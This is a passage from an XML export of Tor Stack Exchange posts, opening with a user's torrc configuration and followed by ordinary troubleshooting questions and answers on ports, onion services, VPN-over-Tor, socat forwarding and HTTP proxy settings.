&amp;quot;notice&amp;quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &amp;quot;notice&amp;quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;CookieAuthentication 0&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &amp;quot;.../hidden_service/hostname&amp;quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;#RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &amp;quot;4 GB&amp;quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;#AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Contact info to be published in the directory, so we can contact you&#xA;## if your relay is misconfigured or something else goes wrong. Google&#xA;## indexes this, so spammers might also collect it.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to your public IP address. See the man page entry&#xA;## for ExitPolicyRejectPrivate if you want to allow &amp;quot;exit enclaving&amp;quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more&#xA;#ExitPolicy accept *:119 # accept nntp as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &amp;quot;bridges&amp;quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&#xA;&#xA;## Inserted by toriptables2.py for tor iptables rules set&#xA;## Transparently route all traffic thru tor on port 9040&#xA;VirtualAddrNetwork 10.0.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;TransPort 9040&#xA;DNSPort 53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="30931" LastActivityDate="2020-10-21T00:05:15.550" Title="Tor service failing to start in Linux" Tags="|linux|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21577" PostTypeId="2" ParentId="21576" CreationDate="2020-09-20T23:37:25.230" Score="1" Body="&lt;p&gt;The relevant error is &lt;code&gt;Failed to bind one of the listener ports&lt;/code&gt;. You already have something running which is bound to one of the ports you've set Tor to use (probably one of 9050, 9051, 9040, or 53). You might find this helpful: &lt;a href=&quot;https://www.cyberciti.biz/faq/unix-linux-check-if-port-is-in-use-command/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cyberciti.biz/faq/unix-linux-check-if-port-is-in-use-command/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-09-20T23:37:25.230" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21578" PostTypeId="1" CreationDate="2020-09-21T19:20:54.940" Score="0" ViewCount="50" Body="&lt;p&gt;I'm running Windows 7 system with 2 GB DDR and Intel Celeron D 335 and Nvidia Geforce FX 5500.&lt;/p&gt;&#xA;&lt;p&gt;When I run Tor (or any similar firefox based browser) it show me an empty page; also It can't load anypages.&lt;/p&gt;&#xA;&lt;p&gt;Screenshot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/H1bNA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H1bNA.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30934" LastActivityDate="2020-09-21T19:20:54.940" Title="Tor doesn't load any webpages same with the firefox" Tags="|tor-install|troubleshooting|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21581" PostTypeId="1" CreationDate="2020-09-23T15:23:36.400" Score="3" ViewCount="1761" Body="&lt;p&gt;After updating to TOR 10 I've got &amp;quot;An Error Occurred ‘try again’ Playback ID on YouTube&amp;quot;.&#xA;I tried many ways to solve it, nothing helped, but the downgrade to the previous version.&lt;/p&gt;&#xA;" OwnerUserId="30942" LastActivityDate="2020-09-28T12:03:45.583" Title="TOR 10: An Error Occurred ‘try again’ Playback ID on YouTube" Tags="|browsers|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21582" PostTypeId="1" AcceptedAnswerId="21584" CreationDate="2020-09-24T00:36:19.913" Score="0" ViewCount="90" Body="&lt;p&gt;I want to replay some real traffic and send it through Tor to collect Tor encrypted traffic. From what I have read so far, the shadow simulator or a private Tor testbed seem to be the best and safest options for this. I additionally plan to host a private hidden service and collect traffic at the hidden service end as well. But I haven't used any Tor experimentation tools before, and I would like some information on the feasibility of using the above 2 methods for my scenario. Any other suggestions are also welcome.&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="30732" LastActivityDate="2020-09-24T03:37:50.373" Title="Tor experimentation with replay traffic" Tags="|configuration|onion-services|help|encryption|shadow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21584" PostTypeId="2" ParentId="21582" CreationDate="2020-09-24T03:37:50.373" Score="0" Body="&lt;p&gt;Do you plan on capturing traffic with something like tcpdump? If so you'll probably want to use &lt;a href=&quot;https://github.com/torproject/chutney&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chutney&lt;/a&gt; to start up a test network, and then tcpdump on the loopback interface. When you run a &lt;a href=&quot;https://shadow.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shadow&lt;/a&gt; experiment, you cannot use external tools like these to inspect traffic, although you might be able to modify Shadow to dump all of the simulated traffic to a file. Note that Shadow currently strips some of Tor's encryption to improve experiment performance, so you won't necessarily get realistic data unless you remove the code that does this.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-09-24T03:37:50.373" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21588" PostTypeId="1" CreationDate="2020-09-24T19:13:57.677" Score="0" ViewCount="1892" Body="&lt;p&gt;I'm trying to use the Tor web browser to bypass my school's Barracuda and FortiNET web filter. I used a bootable linux USB to get Tor but when I try and connect it just sits at Establishing a Connection, and under the green bar it just sits at 'Retrieving network status'&lt;/p&gt;&#xA;" OwnerUserId="30951" LastActivityDate="2020-09-27T01:35:46.063" Title="Tor stuck at establishing a connection" Tags="|linux|tor-install|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21591" PostTypeId="1" AcceptedAnswerId="21593" CreationDate="2020-09-25T22:47:20.347" Score="0" ViewCount="49" Body="&lt;p&gt;According to Tor Relay Guide:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ORPort 443 is recommended because it is often one of the few open ports on the public WIFI networks... Port 9001 is another commonly used ORPort.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am running an exit relay.&lt;/p&gt;&#xA;&lt;p&gt;If I am unable to use both port 443 and 9001, will other ports decrease the amount of traffic to my relay? Let's say I am also using a port that's commonly open on public networks.&lt;/p&gt;&#xA;" OwnerUserId="30092" LastActivityDate="2020-09-26T19:06:03.233" Title="Relation Between ORPort Choice and Amount of Exit Relay Traffic" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21592" PostTypeId="1" CreationDate="2020-09-26T17:04:39.803" Score="2" ViewCount="5040" Body="&lt;p&gt;I would like to know how I can tunnel a VPN thru TOR. Like so,&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ME ---&amp;gt; TOR ---&amp;gt; VPN ---&amp;gt; WEBSITE&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This way, my visible IP address is that of my VPN, and not the TOR exit node. And, my VPN's traffic is tunneled thru the TOR network and comes out the other end.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is there any easy way of doing this on Windows 10?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Considering many websites block traffic from TOR exit relays, I'd be surprised if there wasn't an easy way of configuring this kind of setup.&lt;/p&gt;&#xA;" OwnerUserId="30962" LastEditorUserId="30962" LastEditDate="2020-09-26T17:22:16.367" LastActivityDate="2022-02-24T21:03:25.277" Title="How to tunnel a VPN thru TOR (or VPN over Tor, rather) in Windows 10?" Tags="|configuration|windows|vpn|tunnel|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21593" PostTypeId="2" ParentId="21591" CreationDate="2020-09-26T19:06:03.233" Score="1" Body="&lt;p&gt;Using other ports should be fine if you can't use the usual ports, especially for exit relays. Tor clients will rarely, if ever, connect directly to an exit relay, so you shouldn't have any decrease in bandwidth by using different ports. (I have seen some relay operators add firewall rules to prevent outgoing traffic on ports other than 443 or 9001, but relay operators should not do this, and you shouldn't worry about them.)&lt;/p&gt;&#xA;&lt;p&gt;If you were running a non-exit relay or a bridge, then it's more important to use ports that are typically unblocked. Otherwise you might see a reduction in client traffic.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-09-26T19:06:03.233" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21594" PostTypeId="2" ParentId="21592" CreationDate="2020-09-27T01:33:42.147" Score="0" Body="&lt;p&gt;From: &lt;a href=&quot;https://privacy.net/what-is-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://privacy.net/what-is-tor/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tor over VPN:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;With Tor over VPN, you connect to the VPN first, then use the Tor&#xA;browser. It’s simple and effective.&lt;/p&gt;&#xA;&lt;p&gt;Your traffic will go through the VPN server before it gets to the Tor&#xA;entry node. This means that the VPN server can only see that you’re&#xA;connected to Tor and can’t see where your traffic is going. Going back&#xA;to your ISP, it only sees that you’re connected to a VPN server, and&#xA;nothing beyond that. This means your ISP can’t see that you’re&#xA;connected to a Tor entry node.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;VPN over Tor:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This setup is a little more complex and doesn’t really offer&#xA;additional anonymity. In this case, your traffic goes through Tor&#xA;first. Your ISP can still see you’re connected to the Tor network, the&#xA;Tor entry node can see your real IP address, and you still need to&#xA;trust you VPN as it can see where your traffic is going.&lt;/p&gt;&#xA;&lt;p&gt;One issue VPN over Tor does alleviate is the Tor exit node being able&#xA;to see which site you’re visiting. Instead, it simply sees that you&#xA;are connecting to a VPN server. One downside to this is that your VPN&#xA;login information could be viewed by the Tor exit node operator.&#xA;Another benefit of this setup is that websites which normally block&#xA;Tor traffic will be unblocked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="30092" LastEditorUserId="30092" LastEditDate="2020-09-27T19:54:30.757" LastActivityDate="2020-09-27T19:54:30.757" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21596" PostTypeId="2" ParentId="10234" CreationDate="2020-09-27T14:30:16.230" Score="0" Body="&lt;p&gt;I think the (new) &lt;strong&gt;&lt;a href=&quot;https://www.hardkernel.com/shop/odroid-h2plus/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ODROID-H2+&lt;/a&gt;&lt;/strong&gt; board really fits well for these requirements. Since it comes with x86 architecture meaning you have AES-NI (new instruction) set for hardware acceleration. Which is really needed if you want to run a decent Tor relay/node.&lt;/p&gt;&#xA;&lt;p&gt;Also you can install as many RAM memory (DIM slots) as you need, eg. 2 GB or 4GB, or 16GB or even more...&lt;/p&gt;&#xA;" OwnerUserId="7982" LastActivityDate="2020-09-27T14:30:16.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21599" PostTypeId="2" ParentId="21592" CreationDate="2020-09-27T23:17:40.280" Score="0" Body="&lt;p&gt;Simply include the option &lt;strong&gt;socks-proxy server [port]&lt;/strong&gt; in your OpenVPN client configuration, and it will use Tor as a socks proxy.&lt;/p&gt;&#xA;" OwnerUserId="30966" LastActivityDate="2020-09-27T23:17:40.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21601" PostTypeId="2" ParentId="21570" CreationDate="2020-09-27T23:46:31.907" Score="1" Body="&lt;p&gt;Make sure your web server is listening on localhost port 80.&lt;/p&gt;&#xA;&lt;p&gt;Add lines like this to your torrc, replacing &lt;em&gt;hidden_service_name&lt;/em&gt; by a name of your choice:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service_name&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Restart Tor.&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://community.torproject.org/onion-services/setup&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/setup&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30966" LastActivityDate="2020-09-27T23:46:31.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21602" PostTypeId="2" ParentId="21581" CreationDate="2020-09-28T12:03:45.583" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/new-release-tor-browser-100&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/new-release-tor-browser-100&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Update 1700 UTC 2020-09-24: After investigating the error seen by Windows users while playing videos on Youtube, a user helped us identify the cause. Until this is fixed in an upcoming release, a workaround is setting media.rdd-opus.enabled as false in about:config.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="30968" LastActivityDate="2020-09-28T12:03:45.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21606" PostTypeId="2" ParentId="19949" CreationDate="2020-09-30T23:12:50.020" Score="-1" Body="&lt;p&gt;Use the docker image available (based on Debian image): &lt;a href=&quot;https://hub.docker.com/r/doudou34/tor-server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hub.docker.com/r/doudou34/tor-server&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Docker image link updated to a more recent dockerhub project.&lt;/p&gt;&#xA;" OwnerUserId="7982" LastEditorUserId="7982" LastEditDate="2020-10-16T02:12:38.727" LastActivityDate="2020-10-16T02:12:38.727" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21608" PostTypeId="1" CreationDate="2020-10-01T20:12:34.303" Score="0" ViewCount="163" Body="&lt;p&gt;if we have two server let's say server1(92.92.92.92) server2(76.76.76.76).&lt;/p&gt;&#xA;&lt;p&gt;I'm working on redirect incoming traffic on server1 port 4444 to server2 port 12345,this is easy with iptables rule on server1 like the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sysctl -w net.ipv4.ip_forward=1&#xA;iptables -t nat -A PREROUTING -p tcp --dport 4444 -j DNAT --to-destination 76.76.76.76:12345&#xA;iptables -t nat -A POSTROUTING -j MASQUERADE  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;this working well&lt;/p&gt;&#xA;&lt;p&gt;request --&amp;gt; 4444:server1 &amp;lt;===&amp;gt; 12345:server2&lt;/p&gt;&#xA;&lt;p&gt;what I need to do is using tor netwok between the two server:&lt;/p&gt;&#xA;&lt;p&gt;request --&amp;gt; 4444:server1 &amp;lt;===&amp;gt; |tor network| &amp;lt;===&amp;gt; 12345:server2&lt;/p&gt;&#xA;&lt;p&gt;how I can do what?&lt;/p&gt;&#xA;&lt;p&gt;I tried to use HiddenServicePort on server2 but I can't forward traffic from HiddenServicePort to another tor hostname ( in server1)&lt;/p&gt;&#xA;&lt;p&gt;also how i can redirect traffic from iptables to tor specific hostname (server2 hostname)&lt;/p&gt;&#xA;" OwnerUserId="30984" LastActivityDate="2022-03-27T13:03:20.273" Title="connect two server via tor" Tags="|configuration|relays|torsocks|iptables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21609" PostTypeId="2" ParentId="21608" CreationDate="2020-10-02T19:04:03.270" Score="0" Body="&lt;p&gt;This looks like something to use &lt;code&gt;socat&lt;/code&gt;, not &lt;code&gt;iptables&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You need to employ &lt;code&gt;socat&lt;/code&gt; on server1 to listen on specific port and forward traffic to server2 through tor. Something along the lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;socat TCP-LISTEN:4444 SOCKS4A:localhost:server2:12345,socksport=9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above command assumes tor running on server1 on the usual port 9050.&lt;/p&gt;&#xA;&lt;p&gt;You may want to have a look at &lt;code&gt;socat&lt;/code&gt; man page for additional options, especially for TCP-LISTEN.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2020-10-02T19:04:03.270" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21610" PostTypeId="1" AcceptedAnswerId="21611" CreationDate="2020-10-03T16:58:54.430" Score="0" ViewCount="411" Body="&lt;p&gt;when I open tor in full page I see a kind of giant footer instead of the classic bar at the bottom, please viw my attached image (tage here). do you know how to remove or how I can decrease the size?&lt;a href=&quot;https://i.stack.imgur.com/4Odd8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Odd8.png&quot; alt=&quot;example for my favorite site&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30990" LastActivityDate="2020-10-03T17:17:09.307" Title="View tor full-page" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21611" PostTypeId="2" ParentId="21610" CreationDate="2020-10-03T17:17:09.307" Score="0" Body="&lt;p&gt;This is an intentional feature called letterboxing to improve privacy: &lt;a href=&quot;https://support.torproject.org/tbb/maximized-torbrowser-window/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/tbb/maximized-torbrowser-window/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tor Browser in its default mode is starting with a content window rounded to a multiple of 200px x 100px to prevent fingerprinting the screen dimensions. The strategy here is to put all users in a couple of buckets to make it harder to single them out. That works so far until users start to resize their windows (e.g. by maximizing them or going into fullscreen mode). Tor Browser 9 ships with a fingerprinting defense for those scenarios as well, which is called &lt;a href=&quot;https://en.wikipedia.org/wiki/Letterboxing_%28filming%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Letterboxing&lt;/a&gt;, a technique developed by Mozilla and &lt;a href=&quot;https://www.zdnet.com/article/firefox-to-add-tor-browser-anti-fingerprinting-technique-called-letterboxing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;presented in 2019&lt;/a&gt;. It works by adding white margins to a browser window so that the window is as close as possible to the desired size while users are still in a couple of screen size buckets that prevent singling them out with the help of screen dimensions.&lt;/p&gt;&#xA;&lt;p&gt;In simple words, this technique makes groups of users of certain screen sizes and this makes it harder to single out users on basis of screen size, as many users will have same screen size.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you are not concerned about privacy, you can disable this feature in your &lt;code&gt;about:config&lt;/code&gt; settings by setting &lt;code&gt;privacy.resistFingerprinting.letterboxing&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-10-03T17:17:09.307" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21612" PostTypeId="1" CreationDate="2020-10-04T04:04:07.577" Score="2" ViewCount="16318" Body="&lt;p&gt;In my &lt;code&gt;torrc&lt;/code&gt; config (&lt;a href=&quot;https://pastebin.com/hWwPMjxj&quot; rel=&quot;nofollow noreferrer&quot;&gt;pastebin&lt;/a&gt;) I use: &lt;code&gt;HTTPTunnelPort 8118&lt;/code&gt; for configure HTTP proxy listener on &lt;code&gt;8118&lt;/code&gt; port, right?&lt;/p&gt;&#xA;&lt;p&gt;I also use latest Windows 10 2004 19041.508 and Tor 0.4.4.5. In Windows 10 proxy settings I set the &lt;code&gt;127.0.0.1:8118&lt;/code&gt; as system proxy:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4k0qh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4k0qh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;so when I open my Chrome I go to &lt;a href=&quot;https://www.checkip.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.checkip.org/&lt;/a&gt; website and see the exit nodes IP address used now.&lt;/p&gt;&#xA;&lt;p&gt;But but if I try to access an unsecured website that does not support https, by just http, I get the following message in my browser:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;This is an HTTP CONNECT tunnel, not an HTTP proxy.&#xA;It appears you have configured your web browser to use this Tor port as an HTTP proxy.&#xA;&#xA;This is not correct: This port is configured as a CONNECT tunnel, not an HTTP proxy. Please configure your client accordingly. You can also use HTTPS; then the client should automatically use HTTP CONNECT.&#xA;&#xA;See https://www.torproject.org/documentation.html for more information.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The same I have experiences in WSL (Ubuntu 18.04). At the end of my &lt;code&gt;.bashrc&lt;/code&gt; I added following lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;export http_proxy=127.0.0.1:8118&#xA;export https_proxy=127.0.0.1:8118&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then when I trying to make get request with &lt;code&gt;curl&lt;/code&gt; to not https secured website I'm getting the following output in my terminal:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;title&amp;gt;This is an HTTP CONNECT tunnel, not a full HTTP Proxy&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;h1&amp;gt;This is an HTTP CONNECT tunnel, not an HTTP proxy.&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;It appears you have configured your web browser to use this Tor port as&#xA;an HTTP proxy.&#xA;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&#xA;This is not correct: This port is configured as a CONNECT tunnel, not&#xA;an HTTP proxy. Please configure your client accordingly.  You can also&#xA;use HTTPS; then the client should automatically use HTTP CONNECT.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;See &amp;lt;a href=&amp;quot;https://www.torproject.org/documentation.html&amp;quot;&amp;gt;https://www.torproject.org/documentation.html&amp;lt;/a&amp;gt; for more information.&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So my general question: how to configure tor/torrc correctly to use tor as HTTP proxy?&lt;/p&gt;&#xA;" OwnerUserId="16942" LastEditorUserId="16942" LastEditDate="2020-10-04T04:20:23.640" LastActivityDate="2020-10-04T05:14:55.017" Title="How to configure tor/torrc correctly to use tor as HTTP proxy?" Tags="|configuration|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
